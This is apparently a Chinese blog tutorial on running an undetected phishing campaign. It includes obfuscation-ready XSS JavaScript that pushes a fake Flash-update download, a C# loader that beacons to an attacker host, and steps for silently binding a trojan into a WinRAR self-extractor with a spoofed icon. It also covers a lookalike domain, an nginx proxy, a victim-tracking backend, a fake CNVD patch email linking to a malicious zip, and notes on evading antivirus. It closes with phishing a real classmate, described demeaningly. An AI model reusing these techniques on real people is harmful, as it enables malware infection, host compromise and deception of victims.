钓鱼的核心主要还是思路要骚。本文主要从一个完整的钓鱼流程进行讲解,记录下自己在学习这方面的知识时,如何将其有机结合起来,实现一个蓝队无感的钓鱼攻击流程,真正体验下如何从细节入手,将最危险的地方化为最安全的地方。
传统攻防的钓鱼扔黑不溜秋的exe,也没做什么进程迁移之类的动作,就算是个电脑小白也知道不正常,一下子就把你的程序给终结掉了,然后你也成功暴露了,之后蹲黑名单。
如何将鱼钩更好的隐藏呢?
这里我抛转引玉说几个点:
1.XSS
直接插入这个js文件即可
<script src="/hacked.js"></script>
hacked.js
需要注意下面这几个点
1.判断UA,电脑端才加载exe,android则加载apk
2.向后台API发送查询,是否上钩了,是的话不加载,不是的话加载
3.js一定要注意混淆和命名,采用原生ajax,兼容性会更好
window.alert = function(name){ var iframe = document.createElement("IFRAME"); iframe.style.display="none"; iframe.setAttribute("src", 'data:text/plain,'); document.documentElement.appendChild(iframe); window.frames[0].window.alert(name); iframe.parentNode.removeChild(iframe); } window.confirm = function(name){ var iframe = document.createElement("IFRAME"); iframe.style.display="none"; iframe.setAttribute("src", 'data:text/plain,'); document.documentElement.appendChild(iframe); var result = window.frames[0].window.confirm(name); iframe.parentNode.removeChild(iframe); return result; } function isPc() { if (navigator.userAgent.match(/(iPhone|Android)/i)) { return false; } else { return true; } } function isRise() { var xmlHttp; if (window.XMLHttpRequest) { xmlHttp = new XMLHttpRequest(); } else { xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlHttp.open("GET", "http://101.200.157.195:8085/api.php?m=api&do=isExist", "true"); xmlHttp.send(); xmlHttp.onreadystatechange = function() { if (xmlHttp.readyState == 4 && xmlHttp.status == 200) { var resData = xmlHttp.responseText; if (resData == "ok") { } else { download(); } } } } function download(){ window.alert = function(name){var iframe = document.createElement("IFRAME");iframe.style.display="none";iframe.setAttribute("src", 'data:text/plain,'); document.documentElement.appendChild(iframe);window.frames[0].window.alert(name);iframe.parentNode.removeChild(iframe);}; alert("您的FLASH版本过低,请尝试升级后访问该页面!"); window.location.href="http://xxx/"; } window.onload = function(){ if(!isPc()){ alert("当前页面只能在电脑PC端中加载,请稍后重试..."); }else{ isRise(); } }
2.钓鱼网站(比如flash)
我们需要去申请一个近似的域名https://www.freenom.com/zh/freeandpaiddomains.html
https://www.flash.cn/ 我们需要模拟就是这个网站
这里我选取的域名是:flash-cn.cf
下面我们只要简单伪造下钓鱼的地址就行了。
这里我用的是学生机,所以后面我用了一个香港主机做nginx的反向代理,一方面保护了自己,
一方面也能绕过备案。
下面我们就是直接搭建个钓鱼网站了。
把我们的木马改名为:flashplayerpp_install_cn.exe
然后放在我们建立的latest
目录下。
然后放在docker下,我们以后需要做的就是
docker cp host_path containerID:/var/www/html/cn/
这里需要注意木马要做好免杀,否则运行的时候就要被杀了。
免杀的方式很多,网上很多方法可以过360,这里笔者采用shellcode加密的方式能达到暂时绕过360(当然还有非常多的绕过方式,这些点最好自己挖掘一下,发出来的话一般很快就会和谐了,欢迎有师傅找我研究下。)
这里我们需要自己写一个加载器,封装感知函数放进加载器,这样木马如果真正加载的时候就会对我们的API发起请求,这样我们就能捕获到木马成功运行了。
using System; using System.Net; using System.Threading; namespace testHttp { class Program { static void Main(string[] args) { ThreadStart childref = new ThreadStart(sendLog); Thread childThread = new Thread(childref); childThread.Start(); } public static void sendLog() { string url = "http://hackerc.com/api.php?m=api&do=myLogk"; HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url); request.Method = "HEAD"; request.Timeout = 100000; HttpWebResponse response = (HttpWebResponse)request.GetResponse(); } } }
然后我们把这个封装到木马里面即可。
基本能绕过360杀毒,成功发出感知请求,用window窗口方式编译,能实现无控制台提示静默执行。
这里主要是需要将我们的木马与正常程序去捆绑,这样用户执行恶意文件的时候其实我们的木马是在静默运行的,而用户执行正常的程序操作。
这里为了免杀效果更好,我选择了winrar自解压的方式去包装我们的木马。
首先我们需要准备好木马、正常程序和Restorator这个工具:
1.选中两个程序,然后添加到压缩文件,创建自解压
2.高级自解压选项,常规:解压路径 ——> 绝对路径:
路径写C:\windows\temp
3.高级自解压选项->安装
C:\windows\temp\选中的木马名
C:\windows\temp\选中的程序名
4.高级自解压选项->模式
静默模式->隐藏所有
5.高级自解压选项->更新
更新模式->解压并更新
覆盖模式->覆盖所有文件
6.确定
执行一下,发现达到了效果,在这里我们还需要做一些细节的伪装.
Restorator 将压缩后的程序图标替换为flashplayer_install_cn
的图标,然后名字也改为
flashplayer_install_cn.exe
基本能仿照的非常像。
鱼竿感知系统其实非常重要,比如鱼儿上钩,你还一直弹窗,这样是个小白也能知道不正常。那么如何做好一个简单的感知系统呢?其实非常简单,这里我丢一个简单的demo,实际上它是可以写成一个框架的(这个先不考虑放出来)
这里我采用了PHP + MYSQL的方式
首先新建个表fish
表设计:
字段 | 类型 | 说明 |
---|---|---|
id | int | 主键 |
ip | varchar | 来源ip |
ua | varchar | 来源UA |
count | int | 点击次数 |
status | varchar | 当前状态 |
SQL数据库语句:
DROP DATABASE IF EXISTS fishperception; CREATE DATABASE fishperception; USE fishperception; DROP TABLE IF EXISTS fish; CREATE TABLE fish( `id` INT AUTO_INCREMENT, `ip` VARCHAR(200) DEFAULT NULL, `ua` VARCHAR(255) DEFAULT NULL, `count` INT DEFAULT NULL, `status` VARCHAR(10) DEFAULT NULL, primary key(`id`) );
后端的简单记录Demo:
提供了几个API:
api.php?m=api&do=myLog // 这个是木马执行时候请求写入的api
api.php?m=api&do=isExist //这个用来js判断是否已经上线的,已经上线则不执行操作
提供了一个基本简单的管理demo:
如果还想继续钓鱼某个IP或者某IP掉线的话,可以登录后台删除这个记录,这样就能继续针对某个特定ip进行钓鱼。
为了随时转移和方便,我们可以用docker来实现一键部署感知系统。
基于lamp的docker环境可以快速搭建。
scp -r docker-lamp-ok [email protected]:/root/
然后服务器里面:
docker-compose up --build
然后运行起来了,然后配置flash-cn.cf
的nginx代理,转发我们的钓鱼内容。
cd /etc/nginx/conf.d
编辑一个Server
server
{
listen 80;
server_name flash-cn.cf;
location / {
proxy_redirect off;
proxy_set_header Host $host;
proxy_set_header X-Real-Ip $remote_addr;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_pass http://139.159.x.x:8005;
}
}
然后systemctl restart nginx
即可
比较常用方式如传统的邮箱打点、dns劫持欺骗等方式
其实生活中有非常多攻击点(主要是人们总是自信地认为黑客不会在他们的身边)
班级群里面、教师群等社交关系群里面,本身具备了高信任的特点,所以制作点热点话题,打开一个URL并不是什么难事。
还有供应链打击、物理社工等...
这里笔者还是比较喜欢传统的邮箱钓鱼吧,它在发挥小型目标hw行动的时候,是非常好用的。
基于邮箱的钓鱼,有人说它比较老套了,其实不然,笔者在后渗透的项目经历中发现,其实邮箱钓鱼的攻击面比较广泛,掌握好切入点,巧学活用能发挥比较巨大的作用(切忌一大批的发垃圾邮件信息)。
1.可信邮箱
可信邮箱邮箱选取优先选择同单位下的域名邮箱,再者可以选择一些高权的邮箱比如gov等之类的。
笔者对某学校做过定向的渗透打击,通过OA来提取出某领导的邮箱账号密码,后面通过伪造工作邮件+附件信息,基本一打一个准。
2.针对性发送
最好根据组织结构,挑选一些中间人来进行打击,切记大量发送,引起别人警觉。
3.邮箱内容
这里我说下比较常用的就是伪造漏洞补丁。
这里就涉及到一些钓鱼模板的使用了。
这里举一个简单的例子,实际上要针对业务和对象来选择合适的模板。
一、漏洞情况分析
Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎。Apache Spark 是一种与 Hadoop 相似的开源集群计算环境,启用了内存分布数据集,除了能够提供交互式查询外,它还可以优化迭代工作负载。Apache Spark 是在 Scala 语言中实现的,它将 Scala 用作其应用程序框架。
2020年6月23日,国家信息安全漏洞共享平台(CNVD)收录了由杭州安恒信息技术股份有限公司报送的Apache Spark远程代码执行漏洞。由于Spark的认证机制存在缺陷,导致共享密钥认证失效。攻击者利用该漏洞,可在未授权的情况下,远程发送精心构造的过程调用指令,启动Spark集群上的应用程序资源,获得目标服务器的权限,实现远程代码执行。
CNVD对该漏洞的综合评级为“高危”。
二、漏洞影响范围
漏洞影响的产品版本包括:
Apache Spark < =2.4.5
三、漏洞处置建议
目前,Apache官方已发布新版本修复此漏洞,建议用户立即升级至最新版本:
https://hackker.com/360/xx.zip
4.SPF配置不当导致邮件伪造
SPF:
SPF(Sender Policy Framework) 发送策略框架,是一种以IP地址认证电子邮件发件人的身份的技术,是为防范垃圾邮件而提出来的一种DNS记录类型,他是一种TXT类型的记录。接收邮件方会首先检查域名的SPF记录,来确定发件人的IP地址是否合法。
如果SPF没配置的话,那么任何人都可以像邮件服务器自定义内容发送邮件,这样就会导致邮件伪造。(邮件的中转是通过SMTP协议的)
如何检测是否存在这种漏洞
1.通过在线网站 https://emkei.cz/ 去测试是否能发送成功
2.手工测试(比较方便,个人比较常用)
nslookup -type=txt domain
这样就说明不存在漏洞。
这样就说明没配置SPF。
关于这个漏洞利用可以放在下回细讲,简单利用可以参考一个工具:
上面说的只是一些点,真正的攻击是需要自己针对目标定制一套适用的钓鱼方式的。
这里提了提高成功率,我选取了我们班某位胸大无脑的MM同学作为测试,首先通过一些话语让她产生好奇心
然后制作一个类似的求爱视频的网站给她:
后面通过发送网址给她:
中间还是出现了一些问题:
最后我做了一些迂回, 比如吐槽之类的,给MM造成心理压迫:
最后MM还是成功打开了,然后询问我为什么视频还没有成功加载,也没有提示版本过低。。。。
到了这里我觉得是时候跟MM坦白了。
最后看下@MM 对我的评价:
这里笔者钓鱼采取了比较激进的直接获取客户机权限的方式,其实针对无感攻击比较简单还是社交网络的画像提取,这样我们不仅可以轻松掌握大量网络体系信息和员工习惯,还可以进行成功率更高的定向打击。钓鱼是一门巧活细活,博弈性比较强,但是攻击性让人防不胜防,希望有研究这方面的大佬可以带带我这个小萌新,想跟师傅们学习各种骚姿势,认识更多场景,去完善我的钓鱼框架(因为目前很多特殊情况没考虑,比如直接被杀软杀了木马,那么也会暴露,感觉攻防对抗真的错综复杂,希望APT大佬能拉我这个菜鸡进小密圈)。